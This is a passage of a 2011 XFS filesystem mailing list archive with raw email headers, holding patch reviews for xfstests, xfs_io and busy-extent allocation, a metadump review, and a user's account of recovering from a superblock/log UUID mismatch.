XFS_DINODE_VERSION_2 in > favor of just using 1 and 2? (I guess I'm OK with > it, but wanted to call it out anyway.) Because we dropped them from the kernel a while ago. The removal in kernel land was my patch and the reason is that it simply doesn't buy anything over using the numerical constants. > - XFS_IOC_FREEZE and XFS_IOC_THAW are still defined in > this version. The code that uses it here could possibly > be converted to use the Linux generic FIFREEZE and FITHAW > instead. That would require all users to include first. From aelder@sgi.com Mon Mar 7 14:12:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27KCWnY176450 for ; Mon, 7 Mar 2011 14:12:33 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 491F130408F; Mon, 7 Mar 2011 12:15:21 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 14:12:29 -0600 Subject: Re: xfstests: change directory to / before _cleanup_testdir in test 135 From: Alex Elder Reply-To: aelder@sgi.com To: Boris Ranto Cc: xfs In-Reply-To: <1299511558.3183.115.camel@dhcp-31-190.brq.redhat.com> References: <1299511558.3183.115.camel@dhcp-31-190.brq.redhat.com> Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 14:12:29 -0600 Message-ID: <1299528749.2578.821.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 20:12:29.0502 (UTC) FILETIME=[FC238DE0:01CBDD03] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-07 at 16:25 +0100, Boris Ranto wrote: > Nfs tries to umount $testdir in _cleanup_testdir function. The test 135 calls the function from directory $SCRATCH_MNT that is equal to $testdir (at least for nfs). The umount will therefore fail causing the test to fail due to the output mismatch. > > This simple patch fixes the issue for me. > > Signed-off-by: Boris Ranto This looks OK to me. Most other tests do this chdir in their cleanup function. I did a quick scan and found that test 126 may suffer the same problem. Can you check this? We could include the fix for both tests in the same commit. It also looks to me like tests 069, 089 might have a similar issue if they get interrupted. -Alex > diff -urpN a/xfstests/135 b/xfstests/135 > --- a/xfstests/135 2011-03-07 14:54:15.855172101 +0100 > +++ b/xfstests/135 2011-03-07 14:54:29.895048375 +0100 > @@ -34,6 +34,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 > > _cleanup() > { > + cd / > _cleanup_testdir > } > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From aelder@sgi.com Mon Mar 7 14:18:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27KIGJu176697 for ; Mon, 7 Mar 2011 14:18:16 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 73D438F804C; Mon, 7 Mar 2011 12:21:10 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 14:19:44 -0600 Subject: Re: [PATCH 2/3] xfs_io: add -p for hole punching to falloc command From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com, josef@redhat.com In-Reply-To: <20110305002453.629027892@bombadil.infradead.org> References: <20110305002222.395571492@bombadil.infradead.org> <20110305002453.629027892@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 14:19:43 -0600 Message-ID: <1299529183.2578.847.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 20:19:44.0364 (UTC) FILETIME=[FF563AC0:01CBDD04] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 2011-03-04 at 19:22 -0500, Christoph Hellwig wrote: > plain text document attachment (add-fallocate-punch-support) > Signed-off-by: Josef Bacik > Signed-off-by: Christoph Hellwig > > --- > io/prealloc.c | 17 ++++++++++++++++- > 1 files changed, 16 insertions(+), 1 deletions(-) Looks good. Reviewed-by: Alex Elder From aelder@sgi.com Mon Mar 7 14:18:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27KIGPY176696 for ; Mon, 7 Mar 2011 14:18:16 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 595918F8078; Mon, 7 Mar 2011 12:21:05 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 14:19:36 -0600 Subject: Re: [PATCH 1/3] xfs_io: add fiemap command to xfs_io From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com, josef@redhat.com In-Reply-To: <20110305002453.434915100@bombadil.infradead.org> References: <20110305002222.395571492@bombadil.infradead.org> <20110305002453.434915100@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 14:19:36 -0600 Message-ID: <1299529176.2578.846.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 20:19:36.0723 (UTC) FILETIME=[FAC84E30:01CBDD04] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 2011-03-04 at 19:22 -0500, Christoph Hellwig wrote: > plain text document attachment (add-fiemap-command) > Add a fiemap command that works almost exactly like bmap, but works on all > filesystem supporting the FIEMAP ioctl. It is formatted similarly and > takes similar flags, the only thing thats different is obviously it doesn't > pit out AG info and it doesn't make finding prealloc space optional. > > Signed-off-by: Josef Bacik > Signed-off-by: Christoph Hellwig Looks good. Reviewed-by: Alex Elder From aelder@sgi.com Mon Mar 7 14:18:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27KIG4s176699 for ; Mon, 7 Mar 2011 14:18:16 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8C0358F8066; Mon, 7 Mar 2011 12:21:10 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 14:19:49 -0600 Subject: Re: [PATCH 3/3] xfs_io: add fpunch command for hole punching via fallocate From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com, josef@redhat.com In-Reply-To: <20110305002453.815562682@bombadil.infradead.org> References: <20110305002222.395571492@bombadil.infradead.org> <20110305002453.815562682@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 14:19:48 -0600 Message-ID: <1299529188.2578.848.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 20:19:49.0051 (UTC) FILETIME=[022168B0:01CBDD05] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 2011-03-04 at 19:22 -0500, Christoph Hellwig wrote: > plain text document attachment (add-fpunch-command) > Add a fpunch command which simply uses fallocate to punch a hole for the > given offset and length. > > Signed-off-by: Josef Bacik > Signed-off-by: Christoph Hellwig This looks good too. I haven't tested these yet but they look fine to me. Reviewed-by: Alex Elder From aelder@sgi.com Mon Mar 7 17:04:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27N4GwW188216 for ; Mon, 7 Mar 2011 17:04:16 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id BCF58AC007 for ; Mon, 7 Mar 2011 15:07:07 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 17:01:37 -0600 Subject: Re: [PATCH 3/3] xfs: do not immediately reuse busy extent ranges From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110304130119.656476789@bombadil.infradead.org> References: <20110304125953.650347660@bombadil.infradead.org> <20110304130119.656476789@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 17:01:36 -0600 Message-ID: <1299538896.2578.897.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 23:01:37.0646 (UTC) FILETIME=[9CE770E0:01CBDD1B] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 2011-03-04 at 07:59 -0500, Christoph Hellwig wrote: > plain text document attachment (xfs-skip-busy-extents) > Every time we reallocate a busy extent, we cause a synchronous log force > to occur to ensure the freeing transaction is on disk before we continue > and use the newly allocated extent. This is extremely sub-optimal as we > have to mark every transaction with blocks that get reused as synchronous. > > Instead of searching the busy extent list after deciding on the extent to > allocate, check each candidate extent during the allocation decisions as > to whether they are in the busy list. If they are in the busy list, we > trim the busy range out of the extent we have found and determine if that > trimmed range is still OK for allocation. In many cases, this check can > be incorporated into the allocation extent alignment code which already > does trimming of the found extent before determining if it is a valid > candidate for allocation. This time I just scanned most of the change, since it appears it's almost the same except for the (renamed) xfs_alloc_busy_trim() function. It looks correct now, but I have a few things for you to consider. I'll wait for your response in case you want to change anything. After that I'll pull in the three patches (probably tomorrow). > [hch: merged two earlier patches from Dave and fixed various bugs] > > Signed-off-by: Dave Chinner > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_alloc.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-02 12:18:01.599040095 -0500 > +++ xfs/fs/xfs/xfs_alloc.c 2011-03-02 12:19:10.599027233 -0500 . . . > @@ -2657,6 +2727,177 @@ xfs_alloc_busy_search( > return match; > } > > +/* > + * For a given extent [fbno, flen], search the busy extent list > + * to find a subset of the extent that is not busy. > + */ I agree that the notation (from Dave) that you use here is very helpful in visualizing what's going on. But the underlying code is pretty simple, and it gets somewhat lost in the comments I think. I therefore would kind of prefer to have the explanation moved up above the function. It clearly labels the cases being treated, and references to those can be put in the code, below. (This is a style thing, so if you feel strongly that it's better as you have it, so be it.) > +STATIC void > +xfs_alloc_busy_trim( > + struct xfs_alloc_arg *args, > + xfs_agblock_t fbno, > + xfs_extlen_t flen, > + xfs_agblock_t *rbno, > + xfs_extlen_t *rlen) > +{ > + struct rb_node *rbp; > + > + ASSERT(flen > 0); > + > + spin_lock(&args->pag->pagb_lock); > + rbp = args->pag->pagb_tree.rb_node; > + while (rbp && flen >= args->minlen) { > + struct xfs_busy_extent *busyp = > + rb_entry(rbp, struct xfs_busy_extent, rb_node); > + xfs_agblock_t fend = fbno + flen; All the nice diagrams refer to the variable "fbno" and "fend" using "bno" and "end. I think you should either drop the "f" in the variables or add it to the comments. > + xfs_agblock_t bbno = busyp->bno; > + xfs_agblock_t bend = bbno + busyp->length; > + > + if (fbno + flen <= bbno) { if (fend <= bbno) { > + rbp = rbp->rb_left; > + continue; > + } else if (fbno >= bend) { > + rbp = rbp->rb_right; > + continue; > + } > + > + if (bbno <= fbno) { > + /* start overlap */ > + ASSERT(bend > fbno); > + ASSERT(bend <= fend); This assertion is wrong (Case 1 is an example). The only things you know are: bbno <= fbno bbno < bend therefore (fbno < bend) and fbno < fend but you don't know the relationship between bend and fend. > + > + /* > + * Case 1: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +---------+ > + * bno end > + * As long as you're enumerating all the cases, there's one that you don't mention (but which is covered in this block): * bbno bend * +BBBBBBBBBBBBBB+ * +---------+ * bno end * I think this should be added to the description for completeness. > + * Case 2: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-------------+ > + * bno end > + * > + . . . > + } else { > + /* middle overlap */ > + > + /* > + * Case 9: > + * bbno bend > + * +BBBBBBBBBBBBBBBBB+ > + * +-----------------------------------+ > + * bno end > + * > + * Can be trimmed to: > + * +-------+ OR +-------+ > + * bno end bno end > + * The following block of text explains things, but it might be clearer if it's rearranged a bit: - Backward allocation leads to significant fragmentation of directories, which degrades directory performance. - Therefore we always want to choose the option that produces forward allocation patterns. - Preferring the lower bno extent will make the next request use "end" as the start of the next allocation. If the segment is no longer busy at that point, we'll then get a contiguous allocation, but even if it is still busy, we'll get a forward allocation. - We try to avoid choosing the segment at "bend", because that can lead to the next allocation taking the segment at "bno"--which would be a backward allocation. - We only use the segment at "bno" if it is much larger than the current requested size, because in that case there's a good chance subsequent allocations will be contiguous. (Something like that anyway, I just wanted to provide an example rather than just saying "it's wrong.") > + * We prefer the lower bno extent because the next > + * allocation for this inode will use "end" as the > + * target for first block. If the busy segment has > + * cleared, this will get a contiguous allocation next > + * time around; if thebusy segment has not cleared, > + * it will get an allocation at bend, which is a forward > + * allocation. > + * > + * If we choose segment at bend, and this remains the > + * best extent for the next allocation (e.g. NEAR_BNO > + * allocation) we'll next allocate at bno, which will > + * give us backwards allocation. We already know that > + * backwards allocation direction causes significant > + * fragmentation of directories and degradataion of > + * directory performance. > + * > + * Always chose the option that produces forward > + * allocation patterns so that sequential reads and > + * writes only ever seek in one direction. Only choose > + * the higher bno extent if the remainin unused extent > + * length is much larger than the current allocation > + * request, promising us a contiguous allocation in > + * the following free space. > + */ > + > + if (bbno - fbno >= args->maxlen) { > + /* left candidate fits perfect */ > + fend = bbno; > + } else if (fend - bend >= args->maxlen * 4) { This magic value 4 ought to be justified, or experimented with, or possibly set as a tunable (for the time being). From david@fromorbit.com Mon Mar 7 18:47:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p280lSic191806 for ; Mon, 7 Mar 2011 18:47:28 -0600 X-ASG-Debug-ID: 1299545419-1c0002cd0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9B2BA1C92470 for ; Mon, 7 Mar 2011 16:50:20 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 5k2yPEGDYBb4aY5I for ; Mon, 07 Mar 2011 16:50:20 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEADcJdU15LK5J/2dsb2JhbACmVnW+Vw2CcYJkBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 08 Mar 2011 11:20:18 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pwl7x-0006rw-W9; Tue, 08 Mar 2011 11:50:18 +1100 Date: Tue, 8 Mar 2011 11:50:17 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH v4, 14/16] xfsprogs: metadump: fix duplicate handling once and for all Subject: Re: [PATCH v4, 14/16] xfsprogs: metadump: fix duplicate handling once and for all Message-ID: <20110308005017.GC1956@dastard> References: <1299519558.2578.322.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299519558.2578.322.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299545421 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0002 1.0000 -2.0196 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57361 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 07, 2011 at 11:39:18AM -0600, Alex Elder wrote: > This is a case where I think I've solved a problem to death. > > The metadump code now stops rather than spinning forever in the face > of finding no obfuscated name that hasn't already been seen. > Instead, it simply gives up and passes the original name back to use > without obfuscation. > > Unfortunately, as a result it actually creates entries with > duplicate names in a directory (or inode attribute fork). And at > least in the case of directories, xfs_mdrestore(8) will populate the > directory it restores with duplicate entries. That even seems to > work, but xfs_repair(8) does identify this as a problem and fixes it > (by moving duplicates to "lost+found"). > > This might have been OK, given that it was a rare occurence. But > it's possible, with short (5-character) names, for the obfuscation > algorithm to come up with only a single possible alternate name, > and I felt that was just not acceptable. > > This patch fixes all that by creating a way to generate alternate > names directly from existing names by carefully flipping pairs of > bits in the characters making up the name. > > > The first change is that a name is only ever obfuscated once. > If the obfuscated name can't be used, an alternate is computed > based on that name rather than re-starting the obfuscation > process. (Names shorter than 5 characters are still not > obfuscated.) > > Second, once a name is selected for use (obfuscated or not), it is > checked for duplicates. The name table is consulted to see if it > has already been seen, and if it has, an alternate for that name is > created (a different name of the same length that has the same hash > value). That name is checked in the name table, and if it too is > already there the process repeats until an unused one is found. > > Third, alternates are generated methodically rather than by > repeatedly trying to come up with new random names. A sequence > number uniquely defines a particular alternate name, given an > existing name. (Note that some of those alternates aren't valid > because they contain at least one unallowed character.) > > Finally, because all names are now maintained in the name table, > and because of the way alternates are generated, it's actually > possible for short names to get modified in order to avoid > duplicates. > > The algorithm for doing all of this is pretty well explained in > the comments in the code itself, so I'll avoid duplicating any > more of that here. > > Updates since last posting: > - Definition of ARRAY_SIZE() macro moved to "include/libxfs.h" > - Added some more background commentary: > - About the details of operation in flip_bit(). > Specifically, that the table can be expanded as needed, > but that it is already way bigger than practically > necessary (and why it is that way). > - About the number of alternates available as the length > of a name increases. > - That the key cases we're interested in are names that are > around 5 characters in length. Less than that it's not > very important because we don't obfuscate the name, and > greater than that the odds of the result of conflicting > with an existing name are small. > - Basically, the density of meaning in this code is kind of > high, so it warrants a lot more comments to help make what > it's doing more apparent. So I fleshed this out, as requested > by Dave. > > Signed-off-by: Alex Elder The additional comments help a lot in explaining this code. Very well written, Alex. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From prvs=041f80539=Vince.McIntyre@atnf.csiro.au Mon Mar 7 20:22:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p282MA0i196495 for ; Mon, 7 Mar 2011 20:22:10 -0600 X-ASG-Debug-ID: 1299551102-4dbf00e20000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from act-ironport-ext.csiro.au (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 33AA831C7F7 for ; Mon, 7 Mar 2011 18:25:02 -0800 (PST) Received: from act-ironport-ext.csiro.au (act-mx-ext.csiro.au [150.229.7.36]) by cuda.sgi.com with ESMTP id C3oUhtw8RseyU4TR for ; Mon, 07 Mar 2011 18:25:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=csiro.au; i=vincent.mcintyre@csiro.au; q=dns/txt; s=email; t=1299551104; x=1331087104; h=date:from:to:subject:message-id:mime-version; bh=1sE+CLNfMaRa6hwTK3lZjtQU/c1HdTiWeQV4MXp/y/E=; b=T2PUb3yGKM9CUo9XR0/4jzEeta0K3E2cH7hH/mhzIsJawZhPupxrFcBD HBXHD58BArjL03SFsSYkvhKrFmJJFkYVMFL2xNgrghxiMHYHOrUA77JQP 4JH73Up/Iqd8BU/; X-IronPort-AV: E=Sophos;i="4.62,281,1296997200"; d="scan'208";a="16050977" Received: from crux.tip.csiro.au ([130.155.194.32]) by act-ironport-int.csiro.au with ESMTP; 08 Mar 2011 13:25:02 +1100 Received: (from daemon@localhost) by crux.tip.CSIRO.AU (8.9.3/8.9.3/CIPAT-2.1a) id NAA13309 for ; Tue, 8 Mar 2011 13:25:00 +1100 (EST) Received: from mayhem.atnf.CSIRO.AU(130.155.194.144) via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa13307; Tue Mar 8 13:24:52 2011 Received: from mci156 by mayhem.atnf.CSIRO.AU with local (Exim 4.69) (envelope-from ) id 1PwmbT-0000T8-Pc for xfs@oss.sgi.com; Tue, 08 Mar 2011 13:24:51 +1100 Date: Tue, 8 Mar 2011 13:24:51 +1100 From: Vincent McIntyre To: "xfs@oss.sgi.com" X-ASG-Orig-Subj: correct procedure for mismatched UUIDs (error 117) Subject: correct procedure for mismatched UUIDs (error 117) Message-ID: <20110308022451.GC32056@mayhem.atnf.CSIRO.AU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Thread-Topic: correct procedure for mismatched UUIDs (error 117) Accept-Language: en-US Content-Language: en-US User-Agent: Mutt/1.5.18 (2008-05-17) X-Barracuda-Connect: act-mx-ext.csiro.au[150.229.7.36] X-Barracuda-Start-Time: 1299551104 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57367 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi, I had a problem with an xfs filesystem that somehow ended up with a mismatch between the UUID recorded in the superblock and the log. My question is - what would have been the correct procedure here? I know this should "never happen". But it has, in an extreme corner case, and I'd be interested to know if there was anything different we could have done. (Besides mounting by UUID in the first place...) Here's what we did. The platform is Debian Lenny, 64-bit. % uname -a Linux debian 2.6.26-2-amd64 #1 SMP Tue Jan 25 05:59:43 UTC 2011 x86_64 GNU/Linux % dpkg -l|grep xfs ii xfsdump 2.2.48-1 Administrative utilities for the XFS filesystem ii xfsprogs 2.9.8-1lenny1 Utilities for managing the XFS filesystem We are using multipath-tools to address the storage. % dpkg -l |grep multipath ii multipath-tools 0.4.8-14+lenny2 maintain multipath block device access ii multipath-tools-boot 0.4.8-14+lenny2 Support booting from multipath devices We've used this successfully before, with the same combination of storage (Promise Vtrak E610f) and fibre channel switch (QLogic SB5202). The filesystems were both whole-disk partitions on 9.6Tb disks. What we think caused the problem was: * we are using the user-friendly names feature of multipath-tools * we changed the binding between userfriendly name and WWN for two filesystems - just swapped the mapping of two * we omitted to also change the mount path in /etc/fstab. Silly us. Things seemed ok until we tried to 'ls' one of the filesystems; then we got a stack trace: Filesystem "dm-20": XFS internal error xfs_da_do_buf(2) at line 2085 of file fs/xfs/xfs_da_btree.c. Caller 0xffffffffa027c48b Pid: 8687, comm: ls Not tainted 2.6.26-2-amd64 #1 Call Trace: [] :xfs:xfs_da_read_buf+0x24/0x29 [] :xfs:xfs_da_do_buf+0x54e/0x636 [] :xfs:xfs_da_read_buf+0x24/0x29 [] get_page_from_freelist+0x45a/0x606 [] :xfs:xfs_da_read_buf+0x24/0x29 [] :xfs:xfs_dir2_block_getdents+0x77/0x1b6 [] :xfs:xfs_dir2_block_getdents+0x77/0x1b6 [] :xfs:xfs_hack_filldir+0x0/0x5b [] :xfs:xfs_hack_filldir+0x0/0x5b [] :xfs:xfs_readdir+0x90/0xb5 [] filldir+0x0/0xb7 [] :xfs:xfs_file_readdir+0xff/0x14c [] filldir+0x0/0xb7 [] filldir+0x0/0xb7 [] vfs_readdir+0x75/0xa7 [] sys_getdents+0x75/0xbd [] error_exit+0x0/0x60 [] system_call_after_swapgs+0x8a/0x8f Syslog shows that before that the device mounted cleanly: Filesystem "dm-20": Disabling barriers, not supported by the underlying device XFS mounting filesystem dm-20 Ending clean XFS mount for filesystem: dm-20 We only saw a problem when we tried to access it. Once we saw the ls failure we stopped and changed the mount paths for the affected filesystems in fstab, then rebooted. During boot, we got: XFS mounting filesystem dm-13 XFS: log has mismatched uuid - can't recover XFS: failed to find log head XFS: log mount/recovery failed: error 117 XFS: log mount failed for both of the filesystems. We tried to revert the binding change but that didn't get us out of jail. First we commented out the affected filesystems in /etc/fstab, rebooted. When we tried to mount manually after checking the /dev/mapper paths were what we thought they should be, we still got complaints about mismatching UUIDs. We ran xfs_check on both filesystems in turn. We ran xfs_metadump, which ran w/o errors but did not seem to help us much. Then we ran xfs_repair in -n mode on each filesystem. Looked a bit scary, so we deferred using it. We ran xfs_admin -u on each filesystem, which told us what we already knew: # xfs_admin -u /dev/mapper/mpath0-part1 warning: UUID in AG 1 differs to the primary SB UUID = bd57b07f-2f07-4cb3-a641-9f3ecf72ce26 # xfs_admin -u /dev/mapper/mpath1-part1 warning: UUID in AG 1 differs to the primary SB UUID = 118e731c-aca8-4c78-99d4-df297258dd63 We tried mounting with -oro,nouuid,norecovery, but that didn't help: # mount -oro,nouuid,norecovery /dev/mapper/mpath0-part1 /recover # ls /recover/ # ls: reading directory /recover/: Structure needs cleaning # umount /recover We tried xfs_logprint - the log had the same uuid in all the entries that were printed out. This did not match the uuid of the SB. By now we were running low on time, so we tried xfs_repair. We tried one filesystem with -L and one without. The former produced the expected jumble of inode-numbered files, which we are in the process of piecing together. The latter seemed to preserve the directory structure a bit better, though there was still some jumbling-up. I won't tax you with the full logs. That's the story. Opinions? Vince From branto@redhat.com Tue Mar 8 07:26:29 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p28DQTlo235939 for ; Tue, 8 Mar 2011 07:26:29 -0600 X-ASG-Debug-ID: 1299590962-5a3203300000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B7DD5328109; Tue, 8 Mar 2011 05:29:23 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id aq0UfGjbqXdKfS1e; Tue, 08 Mar 2011 05:29:23 -0800 (PST) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com 